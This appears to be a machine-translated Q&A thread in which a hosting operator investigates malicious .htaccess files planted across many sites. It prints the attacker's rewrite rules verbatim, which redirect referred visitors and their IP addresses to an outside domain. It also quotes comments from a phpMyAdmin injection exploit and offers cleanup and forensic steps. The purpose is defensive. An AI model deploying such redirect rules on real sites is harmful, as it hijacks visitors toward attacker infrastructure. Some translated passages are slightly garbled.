查找 Web 服务器漏洞

查找 Web 服务器漏洞

我们运营一个网络服务器场,托管着大约 300 个网站。

昨天早上,一个脚本放置了 www-data(apache 用户)拥有的 .htaccess 文件在每个目录中在大多数(但不是全部)网站的 document_root 下。

.htaccess 文件的内容如下:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR}

谷歌搜索该网址(即“防病毒”的 md5 哈希值),我发现同样的事情在整个互联网上发生,我正在寻找已经处理过这个问题的人,并确定漏洞所在

我搜索了大部分日志,但还没有找到任何确凿的证据。有没有其他人经历过同样的事情,并且在确定洞口方面比我走得更远?

到目前为止我们已经确定:

  • 这些更改是以 www-data 的形式进行的,因此 apache 或它的插件可能是罪魁祸首
  • 所有更改都是在 15 分钟内完成的,因此很可能是自动完成的
  • 由于我们的网站域名千差万别,我认为一个网站上的单个漏洞是导致问题的原因(而不是每个网站上都有共同的漏洞)
  • 如果 .htaccess 文件已经存在,并且可以通过 www-data 写入,那么脚本就很友好,只需将上述几行附加到文件末尾(使其易于逆转)

如能提供更多提示我将非常感激。

==编辑==

对于那些需要它的人,这是我用来清理 .htaccess 文件的脚本:

#!/bin/bash
PATT=84f6a4eef61784b33e4acbd32c8fdd72.com
DIR=/mnt
TMP=/tmp/`mktemp "XXXXXX"`
find $DIR -name .htaccess|while read FILE; do
  if ( grep $PATT "$FILE" > /dev/null); then
    if [ `cat "$FILE"|wc -l` -eq 4 ]; then
      rm "$FILE"
    else
      if ( tail -n1 "$FILE"|grep $PATT > /dev/null ); then
        rm $TMP
        cp "$FILE" $TMP
        LINES=`cat $TMP|wc -l`
        GOODLINES=$(($LINES-4))
        head -n $GOODLINES $TMP > "$FILE"
      else
        echo $FILE requires manual intervention
      fi
    fi
  fi
done

答案1

有一个开发phpMyAdmin

/bin/bash #!/bin/bash

# CVE-2009-1151:phpMyAdmin'/scripts/setup.php' PHP 代码注入 RCE PoC v0.11
# 由 pagvac (gnucitizen.org) 于 2009 年 6 月 4 日发布。
# 特别感谢 Greg Ose (labs.neohapsis.com) 发现如此酷的漏洞,
# 并感谢 str0ke (milw0rm.com) 测试此 PoC 脚本并提供反馈!

# PoC 脚本在以下目标上成功测试:
# phpMyAdmin 2.11.4、2.11.9.3、2.11.9.4、3.0.0 和 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux(Ubuntu 8.04.2)

# 攻击要求:
# 1)易受攻击的版本(显然!):
根据 PMASA-2009-3,2.11.9.5 之前的 2.11.x # 和 3.1.3.1 之前的 3.x
# 2)它似乎
此漏洞仅可在管理员选择按照
以下方式安装 phpMyAdmin 的环境中利用。巫师方法,而不是手动方法:http://snipurl.com/jhjxx
# 3) 管理员一定不能删除
“/phpMyAdmin/”目录中的“/config/”目录。这是因为这个目录是
“/scripts/setup.php”尝试创建“config.inc.php”的地方,而
我们的邪恶 PHP 代码就是在这里注入的 8)

# 更多信息:
#http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
#http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

答案2

由于攻击似乎是通过 Apache 发起的,因此我会做以下两件事:

  1. 遍历所有访问日志以查找“.htaccess”,例如
    grep -rn '\.htaccess' /var/log/httpd/*access*
  2. 在 apache/httpd/whatever 用户主目录中查找历史文件,通常是“/var/www”或类似文件。

这首先会判断网络用户本身是否受到攻击,或者攻击者是否在利用任意命令执行。它还可能提供攻击者所做事情的(潜在)完整记录。虽然听起来很愚蠢,但大多数此类黑客很少会清理自己,并留下这样的证据。

当然,如果您的组织中有一个执行安全事件响应或取证检查的团队,那么在您开始自己的分析之前,可能值得将设备交给他们。

相关内容